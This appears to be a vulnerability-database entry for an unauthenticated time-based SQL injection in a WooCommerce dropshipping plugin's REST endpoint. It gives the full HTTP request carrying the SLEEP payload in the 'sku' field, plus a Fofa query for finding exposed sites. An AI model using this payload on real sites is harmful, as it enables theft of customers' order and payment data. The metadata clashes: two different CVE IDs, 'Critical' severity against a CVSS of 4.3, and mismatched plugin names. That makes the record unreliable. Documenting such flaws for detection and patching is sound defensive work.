| Title | NotificationX Dropshipping < 4.4 - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit time-based SQL injection through the REST endpoint to extract sensitive WooCommerce data including customer information, order details, and payment records. |
| Remediation | Update NotificationX Dropshipping plugin to version 4.4 or later that properly sanitizes and escapes parameters in REST endpoints. |
| CVSS Score | 4.3 |
| EPSS Score | 0.61537 |
| CVE ID | CVE-2018-25031 |
| CWE ID | CWE-20 |
| Fofa Query | body="/wp-content/plugins/woocommerce-dropshipping" |
| Tags | cve cve2022 wordpress wp-plugin wp sqli woocommerce notificationx vkev vuln |
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection
POST /wp-json/woo-aliexpress/v1/product-sku HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Content-Length: 64
Content-Type: application/json
Accept-Encoding: gzip
{"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(7)))wlHd)-- pOeU"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3481.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3481.pcap
N/AN/A